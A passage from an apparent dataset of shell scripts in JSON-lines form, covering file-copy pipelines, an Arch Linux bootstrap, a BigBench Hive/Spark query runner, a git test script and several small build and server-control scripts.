csv/text files\n # Move the file to Unzip dir \n mv $inputfile $pUNZIPDIR\n fi;\n\n for file in $pUNZIPDIR/*.*\n do\n echo \" >> File : \" $file\n \n # if file is not empty\n if [ -s $file ] \n then \n # Remove first x lines if needed\n if [[ $pREMOVE_FIRST -gt 0 ]]; then \n remove_first_lines $file\n fi\n # Remove last x lines if needed\n if [[ $pREMOVE_LAST -gt 0 ]]; then \n remove_last_lines $file\n fi\n \n # Remove the header if needed\n if [ \"$pREMOVE_HEADER\" == 'Yes' ]; then \n remove_header $file\n fi\n else \n echo \" >> Removing empty file : \" $file\n rm $file\n fi\n done\n\n #Check if Unzip folder is not empty\n if [ \"$(ls -A $pUNZIPDIR)\" ]; then\n # Merge small files if needed\n if [ \"$pMERGE_FILES\" == \"Yes\" ]; then \n merge_files $filename\n fi\n\n # Split files if needed\n if [[ $pSPLITROWS -gt 0 ]]; then\n for file in $pUNZIPDIR/*.*\n do\n split_file $file\n done\n fi\n\n # Gzip files if asked. This will also move files from unzip to output folder\n if [ \"$pOUTPUT_FORMAT\" == \"gz\" ]; then\n convert_files_to_gzip\n \n # Zip files if asked. This will also move files from unzip to output folder\n elif [ \"$pOUTPUT_FORMAT\" == \"zip\" ]; then\n convert_files_to_zip\n \n else\n # Move files from unzip to output folder\n mv $pUNZIPDIR/* $pOUTPUTDIR/\n fi \n else\n echo \">>>> Unzip folder is Empty\"\n fi\n\n else\n # Move files that didn't need any processing from Inputdir to Outputdir\n mv $pINPUTDIR/* $pOUTPUTDIR/\n fi\n \n # Copy the files from Output folder to the target location\n if [ \"$(ls -A $pOUTPUTDIR)\" ]; then\n if [ \"$target_type\" == \"s3\" ]; then\n copy_files_to_s3\n else\n copy_files_to_fs\n fi\n else\n echo \">>>> Output folder is Empty\"\n fi\n \n done\n}\n\nfunction get_os_type() {\n unameOut=\"$(uname -s)\"\n case \"${unameOut}\" in\n Linux*) machine=Linux;;\n Darwin*) machine=Mac;;\n CYGWIN*) machine=Cygwin;;\n MINGW*) machine=MinGw;;\n *) machine=\"UNKNOWN:${unameOut}\"\n esac\n}\n\necho \necho \">>>>>> FILE COPY STARTED <<<<<<<<<<\"\necho \n\n# Get the machine OS type\nget_os_type\n\n# Iterate dates if specified\nif [[ \"$pTARGET\" == *\"{date}\"* ]] || [[ \"$pFILES\" == *\"{date}\"* ]]; then\n echo \">>> Iterating dates\"\n filepath=$pFILES\n target=$pTARGET\n pDAYS=$(($pDAYS - 1))\n\n today=$(date +%Y-%m-%d)\n if [ $machine == 'Mac' ]; then\n tomorrow=$(date -j -v +1d -f \"%Y-%m-%d\" $today +%Y-%m-%d)\n d=$(date -j -v -${pDAYS}d -f \"%Y-%m-%d\" $today +%Y-%m-%d)\n else\n tomorrow=$(date -I -d \"$today + 1 day\")\n d=$(date -I -d \"$today - ${pDAYS} day\")\n fi\n \n while [ \"$d\" != $tomorrow ]; do \n pFILES=${filepath/\"{date}\"/${d//-}}\n pTARGET=${target/\"{date}\"/${d//-}}\n\n num_of_files=$(ls -d $pFILES | wc -l)\n if [ $num_of_files -gt 0 ]; then\n # Execute Copy\n copy_files\n else\n echo \"--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--\"\n echo \">> No File(s) found to process : \" $pFILES\n echo \"--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--!--\"\n fi\n\n if [ $machine == 'Mac' ]; then\n d=$(date -j -v +1d -f \"%Y-%m-%d\" $d +%Y-%m-%d)\n else\n d=$(date -I -d \"$d + 1 day\")\n fi\n done\nelse\n # Otherwise Execute Copy\n copy_files\nfi\n\nrm -rf $pTMPDIR\n\necho \necho \">>>>>> FILE COPY FINISHED <<<<<<<<<<\"\necho"} {"text": "#!/bin/bash\n\ncat << 'EOF' > /usr/share/X11/xorg.conf.d/910-rat.conf\nSection \"InputClass\"\n Identifier \"Mouse Remap\"\n MatchProduct \"Saitek Cyborg R.A.T.7 Mouse\"\n MatchDevicePath \"/dev/input/event*\"\n Option \"ButtonMapping\" \"1 2 3 4 5 6 7 8 9 0 0 0 0 0 0\"\nEndSection\nEOF"} {"text": "pgajdos/apache-rex\n# create password database\npgsql_dir=$AREX_RUN_DIR/pgsql\nmkdir -p $pgsql_dir\n\njohn_sha1_passwd=$(htpasswd -nbs john j_secret | head -n 1 | sed 's/john://')\nhans_sha1_passwd=$(htpasswd -nbs hans hans_secret | head -n 1 | sed 's/hans://')\n\necho '>>> Initializing databases'\npg_ctl initdb -D $pgsql_dir\n\necho '>>> Configuration'\necho \"port = $AREX_PGSQL_PORT\" >> $pgsql_dir/postgresql.conf\necho \"unix_socket_directories = '$pgsql_dir'\" >> $pgsql_dir/postgresql.conf\n\necho '>>> Invoking postgresql'\npg_ctl start -D $pgsql_dir -l $pgsql_dir/pgsql.log\nsleep 2\n\necho '>>> Creating authentication database'\ncreatedb --host='localhost' --port \"$AREX_PGSQL_PORT\" httpd_auth\n\necho '>>> Creating authentication table'\ncat << EOF > $pgsql_dir/create-auth-table.sql\nCREATE TABLE password_table (\nusername varchar(255) not null,\npasswd varchar(255),\ngroups varchar(255),\nprimary key (username)\n);\nEOF\npsql --host='localhost' --port \"$AREX_PGSQL_PORT\" -f $pgsql_dir/create-auth-table.sql -d httpd_auth\n\necho '>>> Filling authentication table with example data'\ncat << EOF > $pgsql_dir/insert-users.sql\nINSERT INTO password_table (username, passwd, groups) VALUES('john', '$john_sha1_passwd', 'employees');\nINSERT INTO password_table (username, passwd, groups) VALUES('hans', '$hans_sha1_passwd', 'customers');\nEOF\npsql --host='localhost' --port \"$AREX_PGSQL_PORT\" -f $pgsql_dir/insert-users.sql -d httpd_auth\n\necho '>>> Testing the postgres is running and database is ready via password query'\ncat << EOF > $pgsql_dir/password-get.sql\nSELECT passwd FROM password_table WHERE username = 'hans';\nEOF\npsql --host='localhost' --port \"$AREX_PGSQL_PORT\" -f $pgsql_dir/password-get.sql -d httpd_auth > $pgsql_dir/test-password.txt\ngrep \"$hans_sha1_passwd\" $pgsql_dir/test-password.txt && echo \"SUCCESS\" || echo \"FAILURE\";\n\necho"} {"text": "engines/hive/queries/q26/run.sh\n#!/usr/bin/env bash\n\n#\n# Copyright (C) 2016 Transaction Processing Performance Council (TPC) and/or\n# its contributors.\n#\n# This file is part of a software package distributed by the TPC.\n#\n# The contents of this file have been developed by the TPC, and/or have been\n# licensed to the TPC under one or more contributor license agreements.\n#\n# This file is subject to the terms and conditions outlined in the End-User\n# License Agreement (EULA) which can be found in this distribution (EULA.txt)\n# and is available at the following URL:\n# http://www.tpc.org/TPC_Documents_Current_Versions/txt/EULA.txt\n#\n# Unless required by applicable law or agreed to in writing, this software\n# is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied, and the user bears the entire risk as\n# to quality and performance as well as the entire cost of service or repair\n# in case of defect. See the EULA for more details.\n#\n\n#\n#Copyright 2015 Intel Corporation All Rights Reserved. \n#\n#The source code contained or described herein and all documents related to the source code (\"Material\") are owned by Intel Corporation or its suppliers or licensors. Title to the Material remains with Intel Corporation or its suppliers and licensors. The Material contains trade secrets and proprietary and confidential information of Intel or its suppliers and licensors. The Material is protected by worldwide copyright and trade secret laws and treaty provisions. No part of the Material may be used, copied, reproduced, modified, published, uploaded, posted, transmitted, distributed, or disclosed in any way without Intel's prior express written permission.\n#\n#No license under any patent, copyright, trade secret or other intellectual property right is granted to or conferred upon you by disclosure or delivery of the Materials, either expressly, by implication, inducement, estoppel or otherwise. Any license under such intellectual property rights must be express and approved by Intel in writing.\n\nHDFS_RESULT_FILE=\"${RESULT_DIR}/cluster.txt\"\n\nquery_run_main_method () {\n \n QUERY_SCRIPT=\"$QUERY_DIR/$QUERY_NAME.sql\"\n if [[ $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK == 'mahout' || $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK == 'spark-csv' ]] ; then\n #store table as CSV - this code path is deprecated \n QUERY_SCRIPT=\"$QUERY_DIR/${QUERY_NAME}-mahout.sql\"\n fi\n \n if [ ! -r \"$QUERY_SCRIPT\" ]\n then\n echo \"SQL file $QUERY_SCRIPT can not be read.\"\n exit 1\n fi\n\n #EXECUTION Plan:\n #step 1. hive q26.sql : Run hive querys to extract kmeans input data\n #step 2. do clustering \n #step 3. hive && hdfs : cleanup.sql && hadoop fs rm MH\n\n MAHOUT_TEMP_DIR=\"$TEMP_DIR/mahout_temp\"\n\n if [[ -z \"$DEBUG_QUERY_PART\" || $DEBUG_QUERY_PART -eq 1 ]] ; then\n echo \"=========================\"\n echo \"$QUERY_NAME Step 1/3: Executing hive queries\"\n echo \"tmp output: ${TEMP_DIR}\"\n echo \"=========================\"\n # Write input for k-means into temp table\n runCmdWithErrorCheck runEngineCmd -f \"$QUERY_SCRIPT\"\n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n fi\n\n if [[ -z \"$DEBUG_QUERY_PART\" || $DEBUG_QUERY_PART -eq 2 ]] ; then\n\n ##########################\n #run with spark (default) \n ##########################\n if [[ -z \"$BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK\" || \"$BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK\" == \"spark\" ]] ; then\n \n input=\"--fromHiveMetastore true --input ${BIG_BENCH_DATABASE}.${TEMP_TABLE}\"\n output=\"${RESULT_DIR}/\"\n cluster_centers=8\n clustering_iterations=20\n initialClusters=\"\" #empty: random initial cluster (fixed seed)\n #initialClusters=\"--initialClustersFile \" \n echo \"=========================\"\n echo \"$QUERY_NAME Step 2/3: Calculating KMeans with spark\"\n echo \"intput: ${input}\"\n echo \"result output: $output\"\n echo \"=========================\"\n \n echo $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK_SPARK_BINARY --class io.bigdatabenchmark.v1.queries.KMeansClustering \"$BIG_BENCH_QUERIES_DIR/Resources/bigbench-ml-spark.jar\" $input --output \"$output\" --num-clusters $cluster_centers --iterations $clustering_iterations --query-num $QUERY_NAME ${initialClusters} --saveClassificationResult true --saveMetaInfo true --verbose false \n runCmdWithErrorCheck $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK_SPARK_BINARY --class io.bigdatabenchmark.v1.queries.KMeansClustering \"$BIG_BENCH_QUERIES_DIR/Resources/bigbench-ml-spark.jar\" $input --output \"$output\" --num-clusters $cluster_centers --iterations $clustering_iterations --query-num $QUERY_NAME ${initialClusters} --saveClassificationResult true --saveMetaInfo true --verbose false \n\n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n\n ##########################\n #run with spark, but use CSV as transport from HIVE -> spark (DEPRECATED)\n ##########################\n elif [[ -z \"$BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK\" || \"$BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK\" == \"spark-csv\" ]] ; then\n \n input=\"--fromHiveMetastore false --input ${TEMP_DIR}\"\n output=\"${RESULT_DIR}/\"\n cluster_centers=8\n clustering_iterations=20\n initialClusters=\"\" #empty: random initial cluster (fixed seed)\n #initialClusters=\"--initialClustersFile \" \n echo \"=========================\"\n echo \"$QUERY_NAME Step 2/3: Calculating KMeans with spark using CSV as intermediate format(DEPRECATED)\"\n echo \"intput: ${input}\"\n echo \"result output: $output\"\n echo \"=========================\"\n \n echo $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK_SPARK_BINARY --class io.bigdatabenchmark.v1.queries.KMeansClustering \"$BIG_BENCH_QUERIES_DIR/Resources/bigbench-ml-spark.jar\" --csvInputDelimiter ' ' $input --output \"$output\" --num-clusters $cluster_centers --iterations $clustering_iterations --query-num $QUERY_NAME ${initialClusters} --saveClassificationResult true --saveMetaInfo true --verbose false \n runCmdWithErrorCheck $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK_SPARK_BINARY --class io.bigdatabenchmark.v1.queries.KMeansClustering \"$BIG_BENCH_QUERIES_DIR/Resources/bigbench-ml-spark.jar\" --csvInputDelimiter ' ' $input --output \"$output\" --num-clusters $cluster_centers --iterations $clustering_iterations --query-num $QUERY_NAME ${initialClusters} --saveClassificationResult true --saveMetaInfo true --verbose false \n\n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n \n ##########################\n #run with mahout\n ##########################\n elif [[ $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK == 'mahout' ]] ; then\n echo \"=========================\"\n echo \"$QUERY_NAME Step 2/3: Calculating KMeans with mahout (DEPRECATED)\"\n echo \"result output: ${HDFS_RESULT_FILE}\"\n echo \"=========================\"\n\n echo \"----------------------------------------------------------\"\n echo \"$QUERY_NAME Step 2/3: part 1: Generating sparse vectors for mahout\"\n echo \"Command \"mahout org.apache.mahout.clustering.conversion.InputDriver -i \"${TEMP_DIR}\" -o \"${TEMP_DIR}/Vec\" -v org.apache.mahout.math.RandomAccessSparseVector #-c UTF-8 \n echo \"tmp output: ${TEMP_DIR}/Vec\"\n echo \"----------------------------------------------------------\"\n runCmdWithErrorCheck mahout org.apache.mahout.clustering.conversion.InputDriver -i \"${TEMP_DIR}\" -o \"${TEMP_DIR}/Vec\" -v org.apache.mahout.math.RandomAccessSparseVector #-c UTF-8 \n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n \n\n echo \"----------------------------------------------------------\"\n echo \"$QUERY_NAME Step 2/3: part 2: Calculating k-means\"\n echo \"Command \"mahout kmeans -i \"$TEMP_DIR/Vec\" -c \"$TEMP_DIR/init-clusters\" -o \"$TEMP_DIR/kmeans-clusters\" -dm org.apache.mahout.common.distance.CosineDistanceMeasure -x 10 -ow -cl -xm $BIG_BENCH_ENGINE_HIVE_MAHOUT_EXECUTION\n echo \"tmp output: $TEMP_DIR/kmeans-clusters\"\n echo \"----------------------------------------------------------\"\n echo \"upload initial clusters $QUERY_DIR/initialClusters to hdfs: $TEMP_DIR/init-clusters\"\n hadoop fs -put -f $QUERY_DIR/init-clusters $TEMP_DIR/init-clusters\n\n runCmdWithErrorCheck mahout kmeans --tempDir \"$MAHOUT_TEMP_DIR\" -i \"$TEMP_DIR/Vec\" -c \"$TEMP_DIR/init-clusters\" -o \"$TEMP_DIR/kmeans-clusters\" -dm org.apache.mahout.common.distance.CosineDistanceMeasure -x 10 -ow -cl -xm $BIG_BENCH_ENGINE_HIVE_MAHOUT_EXECUTION\n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n \n\n local CLUSTERS_OUT=\"`mktemp`\"\n echo \"----------------------------------------------------------\"\n echo \"$QUERY_NAME Step 2/3: part 3: Converting result and store in hdfs $HDFS_RESULT_FILE\"\n echo \"command: mahout clusterdump --tempDir \\\"$MAHOUT_TEMP_DIR\\\" -i \\\"$TEMP_DIR\\\"/kmeans-clusters/clusters-*-final -dm org.apache.mahout.common.distance.CosineDistanceMeasure -of TEXT -o $CLUSTERS_OUT ; hadoop fs -copyFromLocal $CLUSTERS_OUT \\\"$HDFS_RESULT_FILE\\\" \"\n echo \"----------------------------------------------------------\"\n runCmdWithErrorCheck mahout clusterdump --tempDir \"$MAHOUT_TEMP_DIR\" -i \"$TEMP_DIR\"/kmeans-clusters/clusters-*-final -dm org.apache.mahout.common.distance.CosineDistanceMeasure -of TEXT -o $CLUSTERS_OUT\n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n \n hadoop fs -copyFromLocal -f $CLUSTERS_OUT \"$HDFS_RESULT_FILE\"\n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n \n else\n echo \"BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK parameter has no matching implmentation or was empty: $BIG_BENCH_ENGINE_HIVE_ML_FRAMEWORK \"\n return 1\n fi\n fi \n\n if [[ -z \"$DEBUG_QUERY_PART\" || $DEBUG_QUERY_PART -eq 3 ]] ; then\n echo \"=========================\"\n echo \"$QUERY_NAME Step 3/3: Clean up\"\n echo \"=========================\"\n runCmdWithErrorCheck runEngineCmd -f \"${QUERY_DIR}/cleanup.sql\"\n RETURN_CODE=$?\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n runCmdWithErrorCheck hadoop fs -rm -r -f \"$TEMP_DIR\"\n RETURN_CODE=$?\n rm -rf \"$CLUSTERS_OUT\"\n if [[ $RETURN_CODE -ne 0 ]] ; then return $RETURN_CODE; fi\n fi \n}\n\nquery_run_clean_method () {\n runCmdWithErrorCheck runEngineCmd -e \"DROP TABLE IF EXISTS $TEMP_TABLE; DROP TABLE IF EXISTS $RESULT_TABLE;\"\n runCmdWithErrorCheck hadoop fs -rm -r -f \"$HDFS_RESULT_FILE\"\n return $?\n}\n\nquery_run_validate_method () {\n # perform exact result validation if using SF 1, else perform general sanity check\n if [ \"$BIG_BENCH_SCALE_FACTOR\" -eq 1 ]\n then\n local VALIDATION_PASSED=\"1\"\n\n if [ ! -f \"$VALIDATION_RESULTS_FILENAME\" ]\n then\n echo \"Golden result set file $VALIDATION_RESULTS_FILENAME not found\"\n VALIDATION_PASSED=\"0\"\n fi\n\n if diff -q \"$VALIDATION_RESULTS_FILENAME\" <(hadoop fs -cat \"$RESULT_DIR/*\")\n then\n echo \"Validation of $VALIDATION_RESULTS_FILENAME passed: Query returned correct results\"\n else\n echo \"Validation of $VALIDATION_RESULTS_FILENAME failed: Query returned incorrect results\"\n VALIDATION_PASSED=\"0\"\n fi\n if [ \"$VALIDATION_PASSED\" -eq 1 ]\n then\n echo \"Validation passed: Query results are OK\"\n else\n echo \"Validation failed: Query results are not OK\"\n return 1\n fi\n else\n if [ `hadoop fs -cat \"$RESULT_DIR/*\" | head -n 10 | wc -l` -ge 1 ]\n then\n echo \"Validation passed: Query returned results\"\n else\n echo \"Validation failed: Query did not return results\"\n return 1\n fi\n fi\n}"} {"text": "#!/usr/bin/env bash\n# control script for the powertac server\n\nserverJar=powertac-server-jar-0.0.1-SNAPSHOT.jar\noutFile=bootstrap.xml\ninFile=\"\"\npropertyFile=\"\"\nbrokers=\"\"\n\n# prints a reference of arguments and options for this script\nprintHelp() {\n # TODO: use stdout & stderr instead\n echo -e \"\\nUSAGE:\"\n echo -e \"\\n ./powertac-server.sh [OPTIONS]\"\n echo -e \"\\n\"\n echo \"$(cat common-options.txt)\"\n echo -e \"\\n\"\n}\n\n# prints a description of the error that occurred and displays a help message\nprintError() {\n echo -e \"An error occurred during script execution: \\n\"\n echo -e \"$1 \\n\"\n echo -e \"please use \\`./powertac-server.sh help\\` to display script usage\"\n}\n\n# run the server in bootstrap mode\nbootstrap() {\n\n configOption=\"\"\n\n if [[ ! -z ${propertyFile} ]]; then\n configOption=\"--config ${propertyFile}\"\n fi\n\n echo -e \"server jar: \\t$1\"\n echo -e \"output file: \\t$2\"\n echo -e \"config file: \\t${propertyFile}\"\n echo -e \"\\nstarting server in bootstrap mode ...\"\n\n java -server \\\n -Xmx1024m \\\n -jar $1 \\\n --boot $2 \\\n ${configOption}\n\n echo -e \"\\nserver run in bootstrap mode complete\"\n}\n\n# run the server in simulation mode\nsimulation() {\n\n bootstrapOption=\"\"\n brokersOption=\"\"\n configOption=\"\"\n\n if [[ ! -z $2 ]]; then\n bootstrapOption=\"--boot-data $2\"\n fi\n\n if [[ ! -z ${brokers} ]]; then\n brokersOption=\"--brokers ${brokers}\"\n fi\n\n if [[ ! -z ${propertyFile} ]]; then\n configOption=\"--config ${propertyFile}\"\n fi\n\n echo -e \"server jar: \\t\\t$1\"\n echo -e \"bootstrap file: \\t$2\"\n echo -e \"brokers: \\t\\t$3\"\n echo -e \"config file: \\t\\t${propertyFile}\"\n echo -e \"\\nstarting server in simulation mode ...\"\n\n # TODO : remove debugging output\n echo -e \"command:\"\n echo -e \"java -server -Xmx1024m -jar $1 --sim ${bootstrapOption} ${brokersOption} ${configOption}\\n\"\n\n java -server \\\n -Xmx1024m \\\n -jar $1 \\\n --sim \\\n ${bootstrapOption} \\\n ${brokersOption} \\\n ${configOption}\n\n echo -e \"\\nserver run in simulation mode complete\"\n}\n\nmode=$1\nshift\n\n# check if help is requested\nif [[ ${mode} =~ ^(\\-\\-help|\\-h|help)$ ]]; then\n printHelp\n exit 0\nfi\n\n# parse options\nwhile getopts \"o:x:c:b:f:\" opt; do\n case ${opt} in\n o ) outFile=$OPTARG\n ;;\n f ) inFile=$OPTARG\n ;;\n x ) serverJar=$OPTARG\n ;;\n c ) propertyFile=$OPTARG\n ;;\n b ) brokers=$OPTARG\n ;;\n \\? )\n printError\n exit 1\n ;;\n esac\ndone\n\nif [[ ${mode} = \"boot\" ]]; then\n bootstrap ${serverJar} ${outFile}\n exit $?\nfi\n\nif [[ ${mode} = \"sim\" ]]; then\n simulation ${serverJar} ${inFile}\n exit $?\nfi\n\nprintError \"unrecognized mode ${mode}\"\nexit 1"} {"text": "#!/bin/bash\n\nset -x\nset -e\n\n###\n### Functions\n###\nfunction setupClock() {\n ln -sf \"/usr/share/zoneinfo/${BOOTSTRAP_TZ}\" /etc/localtime\n hwclock --systohc\n}\n\nfunction setupLanguages() {\n sed -i \"s/^#en_CA.*$/en_CA.UTF8 UTF-8/\" /etc/locale.gen\n sed -i \"s/^#en_US.*$/en_US.UTF8 UTF-8/\" /etc/locale.gen\n locale-gen\n echo \"LANG=en_US.UTF-8\" >/etc/locale.conf\n}\n\nfunction setupUsers() {\n useradd --shell /usr/bin/zsh \\\n --create-home \\\n --groups wheel,uucp \"${BOOTSTRAP_USER}\"\n echo -e \"${BOOTSTRAP_USER_PASSWD}\\n${BOOTSTRAP_USER_PASSWD}\" | passwd ${BOOTSTRAP_USER}\n echo -e \"${BOOTSTRAP_ROOT_PASSWD}\\n${BOOTSTRAP_ROOT_PASSWD}\" | passwd root\n\n cat >\"/etc/sudoers.d/${BOOTSTRAP_USER}\" </etc/pacman.d/hooks/mirrorupgrade.hook </etc/hostname\n}\n\nfunction setupNetworkManager() {\n mkdir -p /etc/NetworkManager/conf.d\n cat >/etc/NetworkManager/conf.d/10-dhclient.conf </etc/NetworkManager/conf.d/20-dns.conf </etc/NetworkManager/conf.d/30-mac-randomization.conf <>/etc/fstab\n}\n\n# We need to setup initramfs before bootloader to avoid potential mistakes\nfunction setupInitramfs() {\n echo \"Setting up initramfs...\"\n if grep -i intel /proc/cpuinfo; then\n pacman -q -S --noconfirm --needed intel-ucode\n export CPU_MANUFACTURER=intel\n else\n pacman -q -S --noconfirm --needed amd-ucode\n export CPU_MANUFACTURER=amd\n fi\n hooks=\"base udev autodetect keyboard keymap consolefont modconf block encrypt filesystems fsck\"\n sed -i \"s/^HOOKS=.*/HOOKS=(${hooks})/\" /etc/mkinitcpio.conf\n mkinitcpio -P\n}\n\nfunction setupGrub() {\n if [ ! -d \"/sys/firmware/efi/efivars\" ]; then\n echo >&2 \"UEFI variables not accessible. Did the system boot in UEFI mode?\"\n exit 1\n fi\n # Install UEFI bootloader to /boot/EFI/GRUB/grubx64.efi\n grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB\n\n # Set kernel parameters so GRUB can unlock encrypted root partition\n # https://wiki.archlinux.org/title/Dm-crypt/Encrypting_an_entire_system#Configuring_the_boot_loader\n # https://wiki.archlinux.org/title/Dm-crypt/System_configuration#Boot_loader\n # https://wiki.archlinux.org/title/Kernel_parameters#GRUB\n uuid=$(blkid -s UUID -o value ${ROOT_PART})\n line=\"quiet splash cryptdevice=UUID=${uuid}:${BOOTSTRAP_DMNAME} root=/dev/mapper/${BOOTSTRAP_DMNAME}\"\n sed -i \"s,^GRUB_CMDLINE_LINUX_DEFAULT=.*,GRUB_CMDLINE_LINUX_DEFAULT=\\\"${line}\\\",\" /etc/default/grub\n grub-mkconfig -o /boot/grub/grub.cfg\n}\n\nfunction cloneSaltSugar() {\n dest=\"/home/${BOOTSTRAP_USER}/opt/\"\n mkdir -p \"${dest}\"\n git clone https://github.com/sugarraysam/saltsugar.git \"${dest}/saltsugar\"\n chown -R \"${BOOTSTRAP_USER}:${BOOTSTRAP_USER}\" \"${dest}\" \"${dest}/saltsugar\"\n}\n\n###\n### Run\n###\nsetupClock\nsetupLanguages\nsetupUsers\npacmanHooks\nsetHostname\nsetupNetworkManager\nhibernateKeySuspends\nsetupSwapFile\n\n# Bootloader\nsetupInitramfs\nsetupGrub\n\ncloneSaltSugar"} {"text": "AlexandruIca/AdaLovelace0\n#!/bin/sh\n\npdflatex AdaLovelace.tex && pdflatex AdaLovelace.tex\n\nbiber AdaLovelace && pdflatex AdaLovelace.tex"} {"text": "git/t/t3406-rebase-message.sh\n#!/bin/sh\n\ntest_description='messages from rebase operation'\n\n. ./test-lib.sh\n\ntest_expect_success 'setup' '\n\ttest_commit O fileO &&\n\ttest_commit X fileX &&\n\ttest_commit A fileA &&\n\ttest_commit B fileB &&\n\ttest_commit Y fileY &&\n\n\tgit checkout -b topic O &&\n\tgit cherry-pick A B &&\n\ttest_commit Z fileZ &&\n\tgit tag start\n'\n\ntest_expect_success 'rebase -m' '\n\tgit rebase -m master >actual &&\n\ttest_must_be_empty actual\n'\n\ntest_expect_success 'rebase against master twice' '\n\tgit rebase --apply master >out &&\n\ttest_i18ngrep \"Current branch topic is up to date\" out\n'\n\ntest_expect_success 'rebase against master twice with --force' '\n\tgit rebase --force-rebase --apply master >out &&\n\ttest_i18ngrep \"Current branch topic is up to date, rebase forced\" out\n'\n\ntest_expect_success 'rebase against master twice from another branch' '\n\tgit checkout topic^ &&\n\tgit rebase --apply master topic >out &&\n\ttest_i18ngrep \"Current branch topic is up to date\" out\n'\n\ntest_expect_success 'rebase fast-forward to master' '\n\tgit checkout topic^ &&\n\tgit rebase --apply topic >out &&\n\ttest_i18ngrep \"Fast-forwarded HEAD to topic\" out\n'\n\ntest_expect_success 'rebase --stat' '\n\tgit reset --hard start &&\n\tgit rebase --stat master >diffstat.txt &&\n\tgrep \"^ fileX | *1 +$\" diffstat.txt\n'\n\ntest_expect_success 'rebase w/config rebase.stat' '\n\tgit reset --hard start &&\n\tgit config rebase.stat true &&\n\tgit rebase master >diffstat.txt &&\n\tgrep \"^ fileX | *1 +$\" diffstat.txt\n'\n\ntest_expect_success 'rebase -n overrides config rebase.stat config' '\n\tgit reset --hard start &&\n\tgit config rebase.stat true &&\n\tgit rebase -n master >diffstat.txt &&\n\t! grep \"^ fileX | *1 +$\" diffstat.txt\n'\n\n# Output to stderr:\n#\n# \"Does not point to a valid commit: invalid-ref\"\n#\n# NEEDSWORK: This \"grep\" is fine in real non-C locales, but\n# GIT_TEST_GETTEXT_POISON poisons the refname along with the enclosing\n# error message.\ntest_expect_success 'rebase --onto outputs the invalid ref' '\n\ttest_must_fail git rebase --onto invalid-ref HEAD HEAD 2>err &&\n\ttest_i18ngrep \"invalid-ref\" err\n'\n\ntest_expect_success 'error out early upon -C or --whitespace=' '\n\ttest_must_fail git rebase -Cnot-a-number HEAD 2>err &&\n\ttest_i18ngrep \"numerical value\" err &&\n\ttest_must_fail git rebase --whitespace=bad HEAD 2>err &&\n\ttest_i18ngrep \"Invalid whitespace option\" err\n'\n\ntest_expect_success 'GIT_REFLOG_ACTION' '\n\tgit checkout start &&\n\ttest_commit reflog-onto &&\n\tgit checkout -b reflog-topic start &&\n\ttest_commit reflog-to-rebase &&\n\n\tgit rebase reflog-onto &&\n\tgit log -g --format=%gs -3 >actual &&\n\tcat >expect <<-\\EOF &&\n\trebase (finish): returning to refs/heads/reflog-topic\n\trebase (pick): reflog-to-rebase\n\trebase (start): checkout reflog-onto\n\tEOF\n\ttest_cmp expect actual &&\n\n\tgit checkout -b reflog-prefix reflog-to-rebase &&\n\tGIT_REFLOG_ACTION=change-the-reflog git rebase reflog-onto &&\n\tgit log -g --format=%gs -3 >actual &&\n\tcat >expect <<-\\EOF &&\n\tchange-the-reflog (finish): returning to refs/heads/reflog-prefix\n\tchange-the-reflog (pick): reflog-to-rebase\n\tchange-the-reflog (start): checkout reflog-onto\n\tEOF\n\ttest_cmp expect actual\n'\n\ntest_expect_success 'rebase -i onto unrelated history' '\n\tgit init unrelated &&\n\ttest_commit -C unrelated 1 &&\n\tgit -C unrelated remote add -f origin \"$PWD\" &&\n\tgit -C unrelated branch --set-upstream-to=origin/master &&\n\tgit -C unrelated -c core.editor=true rebase -i -v --stat >actual &&\n\ttest_i18ngrep \"Changes to \" actual &&\n\ttest_i18ngrep \"5 files changed\" actual\n'\n\ntest_done"} {"text": "PKG=@0x/dev-utils yarn build\nPKG=@0x/migrations yarn build\n\n( cd ./packages/migrations && node ./lib/migrate_rinkeby.js )"} {"text": "#!/bin/bash\nLOCAL_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nstack ghc -- -package second-transfer -threaded -lstdc++ -lbotan-1.11 --make $LOCAL_DIR/Main.hs -o $LOCAL_DIR/simple_http_server"} {"text": "10-100\n#!/bin/bash\n\nusage()\n{\n base=$(basename \"$0\")\n echo \"usage: $base entries.csv results_dir release_dir\nThis script uploads all the results.\n\nArguments:\n entries.csv Entries for the subjects (subjectID-sessionID) used for the release\n release_dir The directory used for the release. \n data_dir The directory used to output the files. \n\"\n exit;\n}\n\n[ $# -ge 5 ] || { usage; }\n\nsubjectID=$1\nsessionID=$2\nsubj=$3\nage=$4\n\nreleasedir=$5\ndatadir=`pwd`\nif [ $# -ge 6 ];then \n datadir=$6; \n cd $datadir\n datadir=`pwd`\nfi\nminimal=1\nif [ $# -ge 7 ];then \n 